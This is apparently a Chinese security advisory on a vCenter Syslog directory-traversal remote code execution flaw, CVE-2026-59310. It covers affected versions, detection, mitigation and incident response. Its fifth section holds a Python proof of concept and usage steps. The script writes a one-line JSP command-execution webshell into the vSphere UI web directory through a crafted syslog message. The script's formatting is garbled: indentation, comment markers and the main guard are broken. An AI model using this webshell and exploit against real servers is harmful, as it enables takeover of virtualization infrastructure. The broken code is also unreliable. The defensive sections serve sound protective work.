【高危漏洞预警】VMware vCenter Syslog服务未授权目录遍历远程代码执行漏洞CVE-2026-59310

飓风网络安全

2026年9月27日 23:32
新疆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一、漏洞描述

vCenter内置Syslog日志接收服务对传入日志报文内的路径参数校验存在缺陷。攻击者可构造特殊Syslog报文，利用../路径穿越字符，绕过目录限制，向服务器本地任意路径写入文件。

vCenter底层为Photon OS，攻击者通过写入JSP/Java代码到Web应用目录，访问该Web文件即可实现未授权远程代码执行。

攻击链路：

未授权网络访问 → 恶意Syslog报文发送 → 路径穿越写入webshell → Web访问触发代码执行 → 拿下vCenter管理员权限，横向控制ESXi集群。

攻击特点：无需账号密码、无用户交互、低复杂度，可自动化批量扫描利用，勒索团伙拿到vCenter权限后加密虚拟机、窃取虚拟化资产数据。

二、影响版本

• vCenter Server 8.0：早于 8.0 U3k

• vCenter Server 9.0：早于 9.0.2.0100

• vCenter Server 9.1：早于 9.1.0.0300

• 衍生产品：VMware Cloud Foundation、vSphere Foundation、Telco Cloud Platform 对应内嵌vCenter版本受影响

修复版本

升级至：

vCenter 8.0 U3k / 9.0.2.0100 / 9.1.0.0300 及以上版本

三、检测方法（企业自查）

1. 版本自查

登录vCenter，查看版本号，匹配上述受影响清单。

2. 端口探测

vCenter Syslog服务默认监听 UDP/TCP 514，部分环境启用TLS 6514。

若公网开放514端口，风险极高。

3. 流量特征检测

• 源IP发送大量畸形syslog报文，报文内包含../路径穿越字符串

• 短时间内向vCenter写入陌生jsp文件

• 大量陌生Web访问请求，访问临时jsp文件

4. 主机侧审计

Photon OS 检查 /var/log/vmware/、/usr/lib/vmware-vsphere-ui/server/work/deployer-sample/ 目录下新增jsp文件。

四、缓解方案（未打补丁临时防护）

1. 网络隔离：ACL禁止公网访问vCenter 514/6514端口，仅可信内网日志源访问Syslog端口。

2. 防火墙限制：仅允许已知日志采集服务器IP访问Syslog端口。

3. 关闭不必要Syslog接收功能，不需要远程syslog采集则直接关闭该服务。

4. 监控告警：新增文件写入告警，重点监控vCenter Web目录新增jsp文件。

5. 优先升级补丁，临时防护仅过渡，不能完全替代官方补丁。

五、漏洞利用说明 & PoC

⚠️ 仅授权靶场环境使用，未经授权扫描、攻击属于违法。

原理：构造syslog报文，通过路径穿越将JSP Webshell写入vCenter Web目录，随后HTTP访问触发代码执行。

!/usr/bin/env python3

CVE-2026-59310 PoC (Only for authorized lab test)

VMware vCenter Syslog Directory Traversal -> Write JSP -> RCE

import socket

import sys

def send\_syslog\_payload(target\_ip, target\_port, payload\_content):

Syslog报文头 + 路径穿越payload，写入vsphere-ui web目录

路径：../../usr/lib/vmware-vsphere-ui/server/work/deployer-sample/evil.jsp

syslog\_msg = f\"<13>Aug 28 10:00:00 test {payload\_content}\"

sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

sock.connect((target\_ip, target\_port))

sock.sendall(syslog\_msg.encode())

sock.close()

print(\"[+] Payload sent, try access https://{}/ui/evil.jsp\".format(target\_ip))

if \\_name\\ == \"\\main\\_\":

if len(sys.argv) != 2:

print(\"Usage: python poc.py \")

sys.exit()

ip = sys.argv[1]

port = 514

JSP webshell payload

traversal\_path = \"../../usr/lib/vmware-vsphere-ui/server/work/deployer-sample/evil.jsp\"

jsp\_shell = '<%@page import=\"java.lang.Runtime\"%><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>'

payload = f\"FILE:{traversal\_path}\
{jsp\_shell}\"

send\_syslog\_payload(ip, port, payload)

使用方式（靶场）

1. 在隔离靶场部署受影响vCenter

2. 执行脚本发送payload

3. 浏览器访问 https://vcenter/ui/evil.jsp?cmd=id 执行系统命令

限制说明：不同vCenter版本Web部署目录存在差异，部分版本需要调整写入路径；TCP/UDP端口差异需要切换socket类型。

六、应急响应处置（如果疑似被入侵）

1. 立即断开vCenter对外网络，防止横向扩散到ESXi主机

2. 备份vCenter日志，取证：syslog服务日志、web访问日志、文件变更审计日志

3. 查杀Web目录内jsp后门、恶意脚本

4. 重置vCenter、ESXi所有管理员账号密码

5. 排查虚拟机是否存在勒索加密、数据窃取

6. 完成取证后，升级vCenter到修复版本，加固ACL策略

七、总结

CVE-2026-59310是高危未授权RCE漏洞，野外已经被勒索团伙利用。vCenter作为虚拟化集群核心管理节点，一旦被拿下，整个虚拟化平台全部受控。

建议运维：

1. 优先梳理全网vCenter资产，确认版本

2. 公网vCenter立即收紧514端口访问

3. 尽快完成补丁升级，同步日志审计、文件监控能力